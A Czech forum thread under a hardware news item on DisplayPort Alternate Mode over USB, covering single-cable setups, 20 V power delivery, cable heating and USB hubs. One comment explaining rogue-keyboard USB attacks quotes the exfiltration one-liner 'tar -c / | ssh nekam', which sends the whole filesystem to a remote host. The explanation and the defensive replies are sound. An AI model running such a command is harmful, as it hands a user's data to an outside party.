HW novinky: DisplayPort Alternate Mode (diskuse)

[Petr Tomášek]

Nemůžu si pomoci, ale tohle je u mě inovace roku.

Nemůžu si pomoct, ale tohle je prasárna roku. Ať žije nabourávání bezpečnosti tím, že člověk zapojí DisplayPort a ono to je místo toho USB zařízení...

Navíc, všechny tyhle hybridní konektory trpí tím, že se ze samotného konektoru nepozná, jaké rozhraní tam skutečně je implementováno, viz např. miniPCIe vs. USB vs. mSATA a podobně.

[Pali]

Pozor na to, ze USB ako aj SMBus a aj piny pre SIM kartu su sucastou miniPCIe slotu SATA piny tam oficialne nie su.

[ebik]

To povidej vsem tem lidem, kterym bud lezi usb hub vedle monitoru, nebo maji druhy kabel z pocitace do monitoru. A je mezi nimi jiste i par notebookaru, ktery ty dva kabely odpojuji a pripojuji pravidelne, protoze davat 2k za dokovaci stanici/port replikator, ktery nebude fungovat s jejich pristim notebookem se jim fakt nechce.

Pokud bude OS a/nebo BIOS co k cemu, tak jiste pujde ten konkretni USB port zakazat. Pokud vam na bezpecnosti zalezi, mel byste uz ted pozadovat konfiguraci toho jaka zarizeni se smi pripojit do ktereho fyzickeho USB portu.

Pro nas ostatni, kteri radeji pouzivaji USB konektory vyvedene k/na monitor je to rozhodne zlepseni, protoze nebude potreba mnoho kabelu (100W by navic dokonce mohlo utahnout mensi monitory tak, ze by uz vubec nemusely mit napajeni).

[Limoto]

Já si to představuju spíš naopak - že by se z monitoru napájel notebook. V současnosti zapojuju 4 věci - nabíječku, USB hub, HDMI a zvuk (ten by se samozřejmě dal eliminovat). A v tomto řešení by mi na všechno stačila jedna hadička... geniální.

[ebik]

Tak to zalezi, jestli ten opacny smer v tom standardu je a jestli se vyrobci shodnou na napeti, kterym se ten notebook ma nabijet. Ono totiz 100W na 5V chce hodne tlusty kabely. Proto vetsina notebooku pouziva neco okolo 20V (a i to je proud, ktery ti roztavi izolaci treba na kroucene dvoulince, i kdyz to vedes 4 zily + a 4 zily -.)

[Petr Tomášek]

Proud 20V? To jsem ještě neslyšel. No nic, člověk se pořád učí něco nového

[nou]

myslim ze to je pokracovanie myslienky 100W na 20V je tiez velky prud.

[ebik]

Jak již řekl předřečník. Jednalo se o proud, tekoucí kabely při napětí 20V a zátěži 100W (tedy 5A). Zahřívání kabelu totiž závisí výhradně na proudu.

[MaT]

A že to je slušný proud to můžu potvrdit - jednou jsem viděl jak v místě, kde na kabelu od nabíječky notebooku byla izolace už nějaká sežmoulaná najednou začal kabel hořet jasným plamenem a pěkně začoudil...

[ebik]

To ale musel být sežmoulaný i ten vodič. Za normálních okolností je dost tlustý aby se prakticky nezahřál.

[ovoce]

USB power delivery právěže počítá s použitím 20 V. A to napájení opačným směrem by tam právě taky mělo být.

[xkucf03]

To povidej vsem tem lidem, kterym bud lezi usb hub vedle monitoru, nebo maji druhy kabel z pocitace do monitoru.

Tohle nám cpal marketing už v době nástupu USB 1.0 – jak to bude úžasné a zbavíme se změnit kabelů… Příliš mnoho se nezměnilo.

[j]

Protoze kazdej jde usetrit ten cent, a USB hub ti do zarizeni uz nepridaj. Ja mam trebas klavesnici s portem, a mys mam pripojenou do nej => do PC mi vede jeden kabel misto dvou. Jenze takova klavesnice nestoji kilo.

USB bylo presne takto navrhovano = ze se rarizeni budou pripojovet zasebou, jedno do druheho, takze ti na PC pricipielne staci port jedinej.

A takhle je to se vsim, ostatne, ATX taky bylo navrzeno s tim, ze zdroj bude nad pasivnim chladicem CPU a jeho ventilator bude vzduch vysavat z case ven. Kolik zdroju ma odpovicajici konstrukci? Kolik case ma odpovidajici konstrukci?

[nyan]

USB bylo presne takto navrhovano = ze se rarizeni budou pripojovet zasebou, jedno do druheho, takze ti na PC pricipielne staci port jedinej.

No, o tom docela pochybuji (teda ze to nekdo u vyrobcu takto zamyslel). Tahle uvaha o jednem portu ma totiz drobnou chybicku - vsechna zarizeni pripojena na jeden USB kontroler sdileji jeho rychlost. Tj vcetne hubu a tech zarizeni za nima. Takze zapojis huby do takoveho "stromu", a na ne tucet zarizeni, to budes mit rychle jak analogovej modem

[Mti.]

Ehm... nejsu uz nejmladsi a pamatuju dobu, kdy se hlasalo, jak nam pocitace usetri papirovani v kancelarich... zatim je pouze umoznuji chrlit ve vetsim poctu.

No co, tabletem si zase nevytru ... teda mozna jo, ale ucel to nesplni. :-/

[ebik]

Papírování dnes už počítače často ušetří. Hodně toho jde totiž už jen elektronicky a na papír si to člověk tiskne jen když si v tom potřebuje listovat. Ale v přeneseném slova smyslu je toho pak samozřejmě víc, protože se toho dá víc (rychleji) napsat, rychleji na to pak odpovědět, rychleji vygenerovat (zavádějící) statistiky (a z nich ještě více zavádějící grafy)...

[Michal Kubeček]

Hodně toho jde totiž už jen elektronicky a na papír si to člověk tiskne jen když si v tom potřebuje listovat.

Kéž by. :-( Stačí opustit IT sféru a budete se divit, kolik lidí si tiskne e-maily nebo webové stránky.

[j]

Aaaa, pan je naivista/zacek zakladni skoly/... a realitu jeste nemel tu cest videt. Moh bych poslouzit i fotkama. Firma o +- 80ti lidech v kanclech, vygeneruje kazdorocne takovy slusny vagon papiru, vetsinu z nich jen proto, aby se vyhodily/uskladnily.

[Michal Kubeček]

Tiskárna holt dokáže generovat potištěný papír rychleji a s menší námahou, než zařízení z doby předpočítačové.

[Michal Kubeček]

Přesně. :-)

[Filip Jirsák]

Já tedy tiskárnu ani ZIP mechaniku nemám připojenou paralelním kabelem, modem sériovým, klávesnici a myš PS/2, skener nějakým bůhvíčím proprietárním... Kam umístím USB hub je jenom na mně - když ho někdo má až v PC, změti kabelů se logicky nezbaví (i když USB kabely se aspoň chovají spořádaněji, než třeba obvyklý kabel k paralelnímu portu), ale pokud má někdo USB hub na stole, v klávesnici nebo monitoru, změť kabelů může omezit.

[ebik]

Pokud clovek pouzije krimpovaci konektor, tak muze mit i presne tak dlouhe kabely jak potrebuje. (Kupodivu se takovy konektor da koupit i v CR. Do ted mi neco takoveho nenapadlo, ale google mi hned nejake nasel.)

[xkucf03]

ZIP mechaniku mám s USB rozhraním a tiskárnu připojenou přes ethernet. Ale stejně mi do počítače vede napájení, HDMI, audiokabely, ethernet a pak asi šest USB kabelů. V klávesnici USB rozbočovač mám, takže něco se omezit podařilo, ale nepřijde mi to jako nějaká velká revoluce¹ od dob, kdy jsem běžně používal PS/2, LPT, COM porty… Navíc většina zařízení má dlouhé kabely (aby dosáhly až k počítači pod stolem), takže při použití rozbočovače tam zase přebývají metry kabelu a visí ze stolu.

_{[1] ve smyslu omezení změti kabelů – naopak vyšší rychlost, napájení a univerzálnost jsou jednoznačně plus USBčka}

[Jendа]

Hmm, jak funguje ten útok přes USB? To musíš najít bug v USB řadiči, ne?

Mnohem víc bych se bál Thunderboltu, který má PCIe a tedy nejspíš i DMA.

[ebik]

Spis nezabezpeceni systemu. Kdyz vlozis sitovou kartu, tak ji system muze bez uzivatelova vedomi aktivovat a presunout provoz do internetu po ni. Kdyz vlozite klavesnici, system ochotne interpretuje vlozene klavesy (treba beznou klavesu na otevreni terminalu a nasledne "tar -c / | ssh nekam". Uzivatel to uvidi, pokud ale bude u toho pocitace sedet. A tak podobne. Proste utok pres USB vetsinou vyuziva toho, ze system si mysli, ze uzivatel prislusne zarizeni chce pripojit. A uzivatel o tom vlastne ani nemusi vedet.

[xkucf03]

Kdyz vlozis sitovou kartu, tak ji system muze bez uzivatelova vedomi aktivovat a presunout provoz do internetu po ni.

To by většinou nemělo ničemu vadit – stejně bys měl předpokládat, že síti nemůžeš věřit a musíš si ověřovat certifikáty a šifrovat.

Nešifrovaná komunikace dává smysl leda v nějaké uzavřené síti, třeba v serverovně, kde chceš mezi stroji maximální propustnost a nechceš se zdržovat šifrováním (když po těch drátech stejně nic jiného nepoteče). Ale tam zase nebudeš připojovat neznámá USB zařízení.

Nicméně souhlas, že systém by tu novou síťovku neměl začít automaticky používat, nahodit na ní DHCP a posílat přes ní data.

Kdyz vlozite klavesnici, system ochotne interpretuje vlozene klavesy (treba beznou klavesu na otevreni terminalu a nasledne "tar -c / | ssh nekam".

Tohle už je nebezpečnější.

Rozumné nastavení by bylo, že když už je jedna klávesnice připojená, tak se to při připojení druhé zeptá, než ji začne používat. Případně by si uživatel mohl tohle chování změnit (třeba když si k počítači často připojuje jinou klávesnici a naopak tam nestrká nedůvěryhodná zařízení).

[David Jaša]

Tohle už je nebezpečnější.

Rozumné nastavení by bylo, že když už je jedna klávesnice připojená, tak se to při připojení druhé zeptá, než ji začne používat. Případně by si uživatel mohl tohle chování změnit (třeba když si k počítači často připojuje jinou klávesnici a naopak tam nestrká nedůvěryhodná zařízení).

Nebo zamykat obrazovku.

[Jendа]

To vložení může být dost rychlé na to, aby sis toho nevšiml, nebo tomu alespoň nestihl zabránit.

[Jendа]

Normální operační systém by se samozřejmě zeptal.

[ivdo]

?? A který to Teda je?

[Jendа]

Bohužel o žádném nevím.